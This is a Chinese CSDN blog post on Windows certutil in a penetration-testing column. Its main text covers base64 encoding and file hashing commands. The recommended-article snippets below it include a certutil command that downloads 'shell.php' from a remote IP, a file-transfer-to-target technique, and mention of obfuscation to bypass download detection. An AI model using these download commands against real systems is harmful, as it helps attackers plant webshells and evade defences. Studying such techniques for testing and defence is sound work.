【web渗透】Windows自带的Certutil的使用

最新推荐文章于 2022-10-23 16:56:46 发布
最新推荐文章于 2022-10-23 16:56:46 发布
阅读量4.8k 收藏 26
点赞数 31
分类专栏： web渗透 文章标签： 渗透测试 安全漏洞 windows
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/m0_52640673/article/details/120579915
版权

1.前言

Certutil.exe是一个命令行程序，作为证书服务的一部分安装。 可以使用 certutil.exe 来转储和显示证书颁发机构 (CA) 配置信息、配置证书服务、备份和还原 CA 组件，以及验证证书、密钥对和证书链。

2.命令

(1)Base64编码/解码

curtutuil -encode [input-file] [output-file]

curtutuil -decode [input-file] [output-file]

(2)哈希校验：生成并显示文件上的加密哈希。

certutil -hashfile [filename] MD5

certutil -hashfile [filename] sha256

在这里插入图片描述

DanteIoVeYou
关注
  • 31
    点赞
  • 踩
  • 26
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 16
    评论
专栏目录
certutil工具的用法
谢公子的博客
03-23 7433
certutil certutil也是windows下一款下载文件的工具，自从WindowsServer 2003就自带。但是在Server 2003使用会有问题。也就是说，以下命令是在Win7及其以后的机器使用。 远程下载 certutil -urlcache -split -f http://114.118.80.138/shell.php #下载文件到当前目录下 certutil -urlcache -split -f http://114.118.80.138/shell.php c
利用certutil.exe 传文件
weixin_30614587的博客
02-28 873
certutill.exe 在Windows 7 及其之后的所有Windows Server和Workstation版本均预装 1. Encode file: certutil -encode kk.vbs kk_encode.vbs 2. Upload to target: 3. Decode file: cmd /c certutil -decode D:\\apache-...
内网渗透：九、certutil-远程下载绕过
liu_jia_liang的博客
03-11 1956
内网渗透：九、certutil-远程下载绕过 目录 内网渗透：九、certutil-远程下载绕过 一、CertUti 使用语法 :windows 二、certutil绕过*混淆方式 一、CertUti Certutil.exe 是作为证书服务的一部分安装的命令行程序。您可以使用 Certutil.exe 转储和显示证书颁发机构 (CA) 配置信息、配置证书服务、备份和还原 CA 组件以及验证证书、密钥对和证书链。 当 certutil 在没有附加参数的证书颁发机构上运行时...
windows Certutil工具
你和萤火虫有两个共同点，在我的眼里都会发光，同时，都已经很多年没见了
01-01 1402
文章目录简介try it下载编码解码base64十六进制校验 简介 Certutil 是windows用来证书安装服务的工具，可用于下载、转储和显示证书颁发机构（CA），配置信息，证书服务， CA 组件的备份和还原以及验证证书、密钥对和证书链等。 既然它有下载、编码、校验等功能，被用到渗透中也就合情合理了。 下面介绍介绍它的功能 try it 下载 下载命令： certutil -urlcache -split -f http://192.168.31.222:51212/temp.txt temp.txt
Certutil工具（Windows命令行下载常用）
热门推荐
bring_coco的博客
05-28 3万+
Certutil包含一个编码参数（编码）。这有助于在Base64中编码文件的内容。这是在Windows中等效于Linux中的base64命令。不能打开.exe可执行文件时候，可以使用certutil对可执行文件进行编码。然后传输编码后的数据，然后在接收机上对其进行解码。这里创建一个名为test.txt的文本文件，输入一些内容，打开powershell命令：Add-Content test.txt “ni hao”编码（base64）
Windows下使用CertUtil命令计算文件的Hash值及做Base64编解码
henter的专栏
04-25 1万+
    Windows 操作系统从 Win7 开始，包含了一个名为 CertUtil 的命令。可以使用该命令计算指定文件的杂凑值，具体用法如下：CertUtil   -hashfile  文件名(可包含路径)   杂凑算法名    “杂凑算法名”可以取以下值：MD2, MD5, MD5, SHA1, SHA256, SHA384, SHA512。当该参数被省略时，使用 SHA1 算法。    使用...
hashcheck:使用Windows CertUtil命令检查文件校验和的Ruby脚本
05-02
布局标题永久链接页自述文件/自述文​​件/哈希检查hashcheck.rb是一个基于Ruby的命令行程序，可使用Windows CertUtil命令检查文件校验和。 安全哈希算法选择为：md2 md4 md5 sha1 sha256 sha384 sha512 $ ruby ...
使用 certutil 实现 Hex2Bin 和 Base64 加解密的方法
09-21
主要介绍了使用 certutil 实现 Hex2Bin 和 Base64 加解密的方法,需要的朋友可以参考下
微信支付Android APP+java+CertUtil.rar
04-22
这个名为"微信支付Android APP+java+CertUtil.rar"的压缩包包含了实现微信支付功能所需的Android应用代码、Java后端处理逻辑以及CertUtil工具，方便开发者快速集成并调试微信支付功能。 1. **微信支付接口**：微信...
certutil - decode/encode BASE64/HEX strings.Print symbols by HEX code
09-21
Certutil is available on my WIN 7 and Vista machines by default.I think it should be also available for XP but I'm not 100% sure.
windows_0x800bfa07_error
10-16
5. **重新安装Windows Update组件**：使用命令提示符，以管理员身份运行 `DISM.exe /Online /Cleanup-Image /RestoreHealth` 和 `sfc /scannow` 命令，修复系统文件和更新组件。 6. **手动下载并安装更新**：如果...
渗透测试中的certutil
weixin_33794672的博客
09-13 1352
本文讲的是渗透测试中的certutil，最近在Casey Smith‏ @subTee的twitter上学到了关于certutil的一些利用技巧。本文将结合自己的一些经验，介绍certutil在渗透测试中的应用，对cmd下downloader的实现方法作补充，总结base64编码转换的常用方法。 0x01 简介 本文将要介绍以下内容： · certu...
certutil证书管理命令
啊渊的专栏
09-23 5093
certutil是Linux系统中的一个命令行工具，用于管理和操作证书和密钥。它可以用于安全套接字层（SSL/TLS）证书的导入、导出、查看和删除。certutil还可以用于创建新的证书数据库和密钥库。这个工具在Linux系统中广泛用于网络安全和加密操作，提供了方便的命令行接口来处理证书和密钥。
如何查看文件的md5值
wu526985的博客
08-22 1万+
文件MD5
certutil在渗透测测试中的使用技巧
weixin_30867015的博客
08-09 406
certutil在渗透测测试中的使用技巧 0x01 前言 最近在Casey Smith‏ @subTee的twitter上学到了关于certutil的一些利用技巧。本文将结合自己的一些经验，介绍certutil在渗透测试中的应用，对cmd下downloader的实现方法作补充。 0x02 certutil简介 用于...
certutil 校验文件md5,sha1,sha256
sqlora的专栏
05-31 1038
certutil -hashfile yourfilename MD5 certutil -hashfile yourfilename SHA1 certutil -hashfile yourfilenameSHA256 以下收录一下 11.2.0.4 的 MD5 和 SHA-1 值，大家拿到这个版本的安装包时，一定校验一下再安装，防范注入风险。 ORACLE 11.2.0.4 Wind...
【windows 自带的certutil 完成 md5, sha1 sha256校验】
努力学习
10-23 883
默认是sha1的结果。
Windows下CertUtil校验和编码文件
janbar的博客
10-15 970
目录前言CertUtil计算文件hash计算MD2计算MD4计算MD5计算SHA1计算SHA256计算SHA384计算SHA512文件base64编码文件base64解码文件hex编码文件hex解码结语前言     CertUtil.exe是一个命令行程序，作为证书服务的一部分安装。可以使用CertUtil.exe转储和显示证书颁发机构(CA)配置信息、配置证书服务、备份和恢复CA组件，以及验证...
在windows上执行certutil命令时报错CertUtil: WsResetMetadata
msdnchina的专栏@JiNan,ShanDong
11-30 8612
E:\TDDOWNLOAD\ORACLE11G>certutil -hashfile p13390677_112040_Linux-x86-64_1of7.zip md5 ---->>注意是小写的md CertUtil: -hashfile 失败: 0xd00000bb (-805306181) CertUtil: WsResetMetadata ----->>...
Windows 10 Certutil的使用方法
最新发布
04-28
Certutil 是 Windows 10 中的一个命令行工具，用于管理和操作数字证书。可以使用 Certutil 来安装、卸载、导入、导出和查看数字证书，以及执行其他相关操作。下面是 Certutil 的使用方法： 1. 安装证书 certutil -addstore StoreName CertificatePath 其中，StoreName 代表证书存储位置，可以是 "root"、 "ca"、 "my" 等；CertificatePath 是证书文件的路径。 2. 卸载证书 certutil -delstore StoreName CertificateSerialNumber 其中，CertificateSerialNumber 是证书的序列号。 3. 导出证书 certutil -exportpfx -p Password CertificateSerialNumber PfxFilePath 其中，Password 是导出的 PFX 文件的密码；CertificateSerialNumber 是证书的序列号；PfxFilePath 是导出的 PFX 文件的路径。 4. 查看证书 certutil -view -restrict IssuerName 其中，IssuerName 是证书的颁发机构名称。 5. 查看证书链 certutil -verify -urlfetch CertificatePath 其中，CertificatePath 是证书文件的路径。 6. 导入证书 certutil -addstore StoreName CertificatePath 其中，StoreName 代表证书存储位置，可以是 "root"、 "ca"、 "my" 等；CertificatePath 是证书文件的路径。 以上是 Certutil 的一些常见用法，你可以根据自己的需求进行调整。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 16
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

DanteIoVeYou

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值